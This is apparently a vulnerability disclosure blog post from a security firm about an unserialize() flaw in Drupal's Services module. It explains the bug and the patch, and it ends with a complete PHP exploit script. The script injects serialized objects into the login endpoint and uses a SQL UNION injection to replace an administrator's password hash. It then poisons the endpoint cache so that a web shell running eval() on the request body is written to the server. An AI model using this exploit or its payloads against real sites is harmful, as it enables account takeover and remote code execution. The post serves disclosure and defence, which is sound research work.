Upon auditing Drupal's Services module, the Ambionics team came accross an insecure use of unserialize()
. The exploitation of the vulnerability allowed for privilege escalation, SQL injection and, finally, remote code execution.
Services module
Services is a "standardized solution for building API's so that external clients can communicate with Drupal". Basically, it allows anybody to build SOAP, REST, or XMLRPC endpoints to send and fetch information in several output formats. It is currently the 150th most used plugin of Drupal, with around 45.000 active websites.
Services allows you to create different endpoints with different resources, allowing you to interact with your website and its content in an API-oriented way. For instance, you can enable the /user/login
resource to login via JSON or XML.
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/json
Content-Length: 45
Connection: close
{"username": "admin", "password": "password"}
Reply:
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 13:58:02 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw; expires=Sat, 25-Mar-2017 17:31:22 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json
{"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrnyPQ3J9VI8G1dtNwc6BAQ_ORp3Ok_VSrdKht00","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488463053","login":1488463082,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
Vulnerability
One of the feature of the module is that one can control the input/output format by changing the Content-Type
/Accept
headers. By default, the following input formats are allowed:
- application/xml
- application/json
- multipart/form-data
- application/vnd.php.serialized
For anyone who haven't encountered the last one yet, it is the type given to PHP-serialized data. Let's try again:
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 14:29:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json
{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"admin@vmweb.lan","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"admin@vmweb.lan","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}
So, we're indeed facing a trivial unserialize()
vulnerability.
function rest_server_request_parsers() {
static $parsers = NULL;
if (!$parsers) {
$parsers = array(
'application/x-www-form-urlencoded' => 'ServicesParserURLEncoded',
'application/json' => 'ServicesParserJSON',
'application/vnd.php.serialized' => 'ServicesParserPHP',
'multipart/form-data' => 'ServicesParserMultipart',
'application/xml' => 'ServicesParserXML',
'text/xml' => 'ServicesParserXML',
);
}
}
class ServicesParserPHP implements ServicesParserInterface {
public function parse(ServicesContextInterface $context) {
return unserialize($context->getRequestBody());
}
}
What can we do with it ?
Exploitation
Sources and sinks
Even if Drupal lacks straightforward unserialize()
gadgets, the numerous endpoints that are available in Services, combined with the ability to send serialized data, provides a lot of ways to exploit the vulnerability: user-submitted data can be used in SQL queries, echoed back in the result, etc. Our exploitation focuses on /user/login
, since it was the most used endpoint amongst our clients. It is nonetheless possible to construct an RCE payload that works on any URL, as long as the PHP deserialization is activated.
SQL Injection
Evidently, the primary function of the /user/login
endpoint is to allow people to authenticate. To do so, Services uses the usual Drupal internal API, which fetches an username from the database and then compares the password hash to the user-submitted password. This implies that the username we send will be used in an SQL query using Drupal's Database API. The call is very much like this:
$user = db_select('users', 'base') # Table: users Alias: base
->fields('base', array('uid', 'name', ...)) # Select every field
->condition('base.name', $username) # Match the username
->execute(); # Build and run the query
As usual with unserialize()-based bugs, the downfall of the framework comes from its own capabilities. Indeed, instead of submitting basic types like a string, like we would usually, the API offers the possibility to make subqueries by giving it an object which implements Drupal's SelectQueryInterface
.
class DatabaseCondition implements QueryConditionInterface, Countable {
public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
if ($condition['value'] instanceof SelectQueryInterface) {
$condition['value']->compile($connection, $queryPlaceholder);
$placeholders[] = (string) $condition['value'];
$arguments += $condition['value']->arguments();
// Subqueries are the actual value of the operator, we don't
// need to add another below.
$operator['use_value'] = FALSE;
}
}
}
The string representation of the object is used directly in the query, which might provoke an SQL injection.
Different conditions are required for $username
:
- It must implement SelectQueryInterface
- It must implement compile()
- Its string representation must be controlled by us
The SelectQueryExtender
, one of the only two objects implementing SelectQueryInterface, is meant to wrap around a standard SelectQuery object. Its $query attribute contains said object. When SelectQueryExtender's compile() and __toString() methods are called, the underlying object's methods are called instead.
class SelectQueryExtender implements SelectQueryInterface {
/**
* The SelectQuery object we are extending/decorating.
*
* @var SelectQueryInterface
*/
# Note: Although this expects a SelectQueryInterface, this is never enforced
protected $query;
public function __toString() {
return (string) $this->query;
}
public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
return $this->query->compile($connection, $queryPlaceholder);
}
}
We can use this class as a "proxy" for any other class: this allows us to pass the first condition.
The two last conditions are met by the DatabaseCondition object: for performance reasons, it has a stringVersion attribute which is meant to contain its string representation after it's been compiled.
class DatabaseCondition implements QueryConditionInterface, Countable {
protected $changed = TRUE;
protected $queryPlaceholderIdentifier;
public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
// Re-compile if this condition changed or if we are compiled against a
// different query placeholder object.
if ($this->changed || isset($this->queryPlaceholderIdentifier) && ($this->queryPlaceholderIdentifier != $queryPlaceholder->uniqueIdentifier())) {
$this->changed = FALSE;
$this->stringVersion = implode($conjunction, $condition_fragments);
}
}
public function __toString() {
// If the caller forgot to call compile() first, refuse to run.
if ($this->changed) {
return NULL;
}
return $this->stringVersion;
}
}
From this, an SQL Injection is possible. The most efficient way to exploit is by using UNION to fetch one of the administrators, and replacing her/his password hash by ours, so that the hash comparison which follows succeeds.
# Original Query
SELECT
..., base.name AS name, base.pass AS pass, base.mail AS mail, ...
FROM
{users}
WHERE
(name =
# Injection starts here
0x3a)
UNION SELECT
..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ...
FROM
{users}
ORDER BY (uid
# Injection ends here
);
We can also store other database data in other fields, for instance put the admin's original hash in his signature.
We're now logged in as an administrator, and we can read anything from the database.
Remote Code Execution
Drupal has a cache table, which associates a key to serialized data. The Services module caches, for every endpoint, a list of resources, along with the parameters it expects, and the callback function associated to it. Evidently, modifying the cache would have an enormous impact, because we make the module call any PHP function, with any parameter. Fortunately, the DrupalCacheArray
class allows us to do just that. The exploitation is pretty straightforward:
- Modify the behaviour of the
/user/login
resource to write a file anywhere on the server - Hit
/user/login
to create the file - Restore standard behaviour
In order not to break the endpoint during the attack, we use the SQL injection to fetch the original cache data, so that we only modify specific values. We use file_put_contents()
and two parameters to write a file anywhere.
Correction
The Drupal security team took 40 minutes to review our report and propose a correct patch. The advisory along with a new version were published on 03/08/2017 (Services - Critical - Arbitrary Code Execution - SA-CONTRIB-2017-029).
If you’re using a vulnerable version of this module, update as soon as possible. In the event where you cannot update, we strongly recommend to disable application/vnd.php.serialized in Drupal Services settings.
Exploit
The following exploit file combines the two exploitations in order to perform the Privilege Escalation, SQL injection and RCE altogether.
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#
# Initialization
error_reporting(E_ALL);
define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');
$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';
$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];
$browser = new Browser($url . $endpoint_path);
# Stage 1: SQL Injection
class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;
public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;
if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}
class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;
protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;
public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}
$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;
$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);
$json = $browser->post(TYPE_PHP, $data);
# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}
# Store session and user data
$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);
$user = $json->user;
# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);
# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);
store('user', $user);
if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}
x("Cache contains " . sizeof($cache) . " entries");
# Stage 2: Change endpoint's behaviour to write a shell
class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];
function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";
# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}
$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}
class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}
cache_poison($endpoint, $cache);
# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));
# Stage 3: Restore endpoint's behaviour
cache_reset($endpoint, $cache);
if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}
$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");
# HTTP Browser
class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;
function __construct($url)
{
$this->url = $url;
}
function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;
$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);
if($error)
{
e("cURL: $error");
}
return json_decode($output);
}
}
# Cache
function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}
function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}
function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}
# Utils
function x($message)
{
print("$message\n");
}
function e($message)
{
x($message);
exit(1);
}
function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}
The exploitation is completely stealth. Nevertheless, one has to guess or find the endpoint URL, which mitigates the vulnerability a bit.